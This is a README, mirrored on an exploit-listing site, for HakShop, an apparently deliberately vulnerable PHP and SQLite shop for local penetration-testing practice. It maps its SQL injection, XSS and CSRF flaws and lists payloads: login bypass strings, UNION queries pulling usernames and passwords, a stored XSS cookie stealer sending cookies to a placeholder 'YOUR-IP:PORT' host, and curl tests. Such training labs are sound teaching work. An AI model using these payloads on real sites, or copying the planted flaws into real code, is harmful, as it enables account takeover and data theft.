Sploitus

Exploit for HakShop

githubexploit · 2026-08-16

Exploit Code

README150 lines
## https://sploitus.com/exploit?id=EB5FCF69-63E8-53C8-8F3C-2D6C79CDB73D
# HakShop — موقع تسوق متعمد فيه ثغرات (للاختبار التعليمي فقط)

متجر إلكتروني مبني بـ **PHP + SQLite** مصمم عمدًا ليكون فيه ثغرات **XSS** و **SQL Injection** و **CSRF** في أماكن كتير، بنفس أسلوب DVWA. استخدامه للتدريب على اختبار الاختراق على جهازك فقط.

> ⚠️ الموقع ده **غير آمن بالمقصود**. متسبش يشتغل على الإنترنت ولا تحط عليه بيانات حقيقية.

## اللغة

الموقع يدعم **العربية** و **الإنجليزية** — اخترها من القائمة المنسدلة في الشريط العلوي. الاتجاه (RTL/LTR) بيتغير تلقائيًا حسب اللغة، واختيارك بيتحفظ في كوكيز `hshop_lang`.

## التشغيل

```bash
# من جوه مجلد المشروع
php -S 0.0.0.0:8080
```

افتح `http://localhost:8080/setup.php` عشان تبني قاعدة البيانات وتشوف الحسابات، بعدين سجّل الدخول.

المتطلبات: PHP 8+ مع امتداد `pdo_sqlite` (موجود في أغلب تثبيتات PHP).

## الحسابات الجاهزة

| User | Password | Role |
|------|----------|------|
| `super_admin` | `Super@123` | super_admin |
| `admin` | `Admin@123` | admin |
| `sarah` | `Pass@1234` | user |
| `mohamed` | `Pass@1234` | user |
| `aya` | `Pass@1234` | user |
| `khaled` | `Pass@1234` | user |
| `omar` | `Pass@1234` | user |

كلمات المرور مخزنة **نصًا** في قاعدة البيانات عشان تسهل عليك التجارب.

## مستويات الحماية (Low / Medium / High)

الاختيار في الشريط العلوي (مخزّن في كوكيز باسم `hshop_level`):

- **Low** — من غير أي حماية: `$query = "...WHERE username = '$username'"` وطباعة الإدخال نصًا. أخطاء SQL بايظة بتظهر (error-based).
- **Medium** — حماية ضعيفة: `''` escaping في الاستعلامات (صح لـ SQLite)، وفلترة `` بس في المخرجات (ساهلة التجاوز بـ `onerror`). ملحوظة: `addslashes()` ملهاش أي قيمة في SQLite لأن `\` مش رمز escape فيه — لو استخدمتها، `' OR 1=1--` بيتجاوزها عادي.
- **High** — الأمان الحقيقي: prepared statements و `htmlspecialchars(ENT_QUOTES)` و CSRF tokens، وSession Cookie بتحول `HttpOnly`.

ملحوظة: في SQLite ملوش `SLEEP()`. للتجارب الزمنية استخدم `AND 1=randomblob(500000000)`.

## خريطة الثغرات

### SQL Injection
| الصفحة | المكان | الـ level الذي ينجح فيه |
|--------|--------|------------------------|
| `login.php` | خانة username | Low (Auth bypass) |
| `home.php` | البحث `q` و الكاتيجوري `cat` | Low / Medium |
| `product.php` | الباراميتر `id` | Low |
| `product.php` | إدخال التعليق | Low |
| `cart.php` | كود الخصم `coupon` | Low |
| `orders.php` | خانة تتبع الطلب `track` | Low |
| `profile.php` | تعديل بيانات البروفايل | Low |
| `feedback.php` | رسالة التواصل | Low |
| `admin/users.php` | البحث `q` | Low |
| `admin/products.php` | إضافة/تعديل منتج | Low |
| `admin/orders.php` | البحث برقم الطلب `q` | Low |

### XSS
| الصفحة | النوع | المكان |
|--------|-------|--------|
| `home.php` | Reflected | نتيجة البحث `q` |
| `admin/users.php` | Reflected | نتيجة البحث `q` |
| `register.php` | Stored | full_name / bio / email |
| `profile.php` | Stored | full_name / email / bio |
| `product.php` | Stored | تعليقات المنتج |
| `feedback.php` → `admin/feedback.php` | Stored | الرسائل تظهر للأدمن |
| `admin/products.php` | Stored | اسم/وصف المنتج |

### CSRF (يُفعّل في High)
- تغيير المستوى، تحديث البروفايل، إضافة منتج، حذف مستخدم، تغيير حالة الطلب...

## Payloads جاهزة

### Auth bypass (login.php — Low)
```
' OR 1=1--
admin' -- 
' OR '1'='1
```

### UNION (users فيه 7 أعمدة: id,username,password,full_name,email,bio,role)
```
' UNION SELECT 1,username,password,email,bio,role,full_name FROM users-- 
```

### UNION (products فيه 6 أعمدة: id,name,description,price,category,image)
```
' UNION SELECT 1,username,password,email,role,full_name FROM users-- 
```

### Reflected XSS
```
alert('XSS')
alert(document.cookie)

```

### Stored XSS (سارق كوكيز)
```
new Image().src='http://YOUR-IP:PORT/steal?c='+document.cookie
```

### تجاوز Medium (XSS — الفلتر بيشيل `` بس)
```html
alert(1)          
       

```

## فكرة التدريب (سيناريو)
1. اعمل Login bypass بـ SQLi في مستوى Low.
2. سجّل حساب فيه XSS في bio، وبعدين افتح `admin/users.php` كأدمن وشوف النتيجة.
3. استخرج كل المستخدمين وكلمات المرور بـ UNION من البحث.
4. ارفع المستوى لـ High وجرّب نفس الـ payloads ولاحظ إنها بتمنع.
5. ارفع المستوى لـ Medium وجرّب تتغلب على الفلترة.

## هيكل المشروع
```
config.php            إعدادات عامة + helpers (security_level, lang, out, run, csrf)
lang/                 ملفات الترجمات (ar.php / en.php) + lang.php لمبدّل اللغة
setup.php             بناء قاعدة البيانات + الحسابات + المنتجات (قابل للـ Reset)
login/register/logout المصادقة (Login فيه SQLi)
home.php              المتجر: بحث + كاتيجوري (SQLi + Reflected XSS)
product.php           تفاصيل المنتج (SQLi + Stored XSS في التعليقات)
cart.php / checkout.php / orders.php
profile.php           البروفايل (Stored XSS)
feedback.php          تواصل (Stored XSS يصل للأدمن)
level.php             تبديل مستوى الأمان
admin/                لوحة التحكم (users / products / orders / feedback)
common/               header + footer
assets/style.css
```

## اختبار سريع بالـ curl
```bash
# Auth bypass
curl -i "http://localhost:8080/login.php" -d "username=' OR 1=1-- &password=x"

# Reflected XSS في البحث
curl "http://localhost:8080/home.php?q=alert(1)" -b cookies.txt

# SQLi في id المنتج
curl "http://localhost:8080/product.php?id=1 OR 1=1--"
```